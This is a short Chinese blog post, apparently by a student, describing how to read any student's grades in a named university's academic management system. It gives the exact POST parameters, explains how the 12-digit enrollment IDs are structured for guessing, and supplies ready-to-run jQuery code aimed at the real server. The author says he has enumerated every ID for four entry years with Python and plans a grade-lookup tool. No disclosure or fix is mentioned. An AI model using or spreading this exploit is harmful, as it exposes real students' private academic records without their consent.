青果之恋教务管理系统查询所有学生成绩

       做一个让Chrome能正常登陆学校教务管理系统的Chrome扩展,偶然发现在正常登陆一个帐号的情况下,提交以下数据可以查询任何在校生的成绩

"SJ=1&btn_search=%BC%EC%CB%F7&SelXNXQ=0&txt_xm=20090000xxxx&zfx_flag=0&zxf=0"

其中12位的txt_xm就是入学时的编号,记得每学年交学费的时候都是通过该号码。2009代表了入学的年份,接下来四位一般都是零,再接下来的四位数就视该学年的学生数目而定了..其它参数则对应的是查询某学年的成绩或其它各种选项

$.ajax({
        type: "POST",
        url: "http://jx.hncu.net:8083/xscj/Stu_MyScore_rpt.aspx",
        data:  'SJ=1&btn_search=%BC%EC%CB%F7&SelXNXQ=0&txt_xm=这十二位自己定&zfx_flag=0&zxf=0',
        timeout: 10000,
        dataType: "text",
        success: function (html) {
            var wnd=window.open("", "newwin", "height=700, width=1000,toolbar=no,menubar=no");
            wnd.document.write(html.indexOf('绩点')>-1 ? html : '<h1>我勒个去,没有找到相关数据!请确定您没有穿越?</h1>');
        }
});

执行即可查到指定学生的成绩

然后蛋疼用Python遍历了学校09级到12级的所有学生的那个编号及对应的学号  ····接下来搞个成绩查询助手